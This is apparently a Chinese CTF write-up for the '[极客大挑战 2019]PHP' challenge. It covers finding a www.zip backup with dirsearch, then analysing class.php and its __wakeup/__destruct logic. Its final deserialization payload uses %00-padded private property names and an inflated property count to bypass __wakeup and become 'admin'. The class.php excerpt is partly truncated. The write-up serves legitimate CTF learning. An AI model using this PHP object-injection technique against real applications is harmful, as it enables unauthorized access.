[极客大挑战 2019]PHP

1、页面提示有备份文件,使用kali中命令dirsearch扫描

[极客大挑战 2019]PHP_第1张图片

2、我的字典不够,扫不出,看了别人的扫出来是www.zip

3、访问www.zip之后会下载压缩包,里面有三个php文件

[极客大挑战 2019]PHP_第2张图片

4、class.php

username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } ?>

index.php是一个网页信息,但是里面有一小段php代码

flag.php

5、根据代码分析,构造exp

6、运行得

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

7、因为username和password为私有属性,所以需要添加%00绕过,当修改属性的个数大于真是属性是,可以绕过__wakeup()

8、最终payload

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

参考WP:

http://t.csdnimg.cn/uyw7e

http://t.csdnimg.cn/rjFfQ

你可能感兴趣的:(php,android,开发语言,ctf)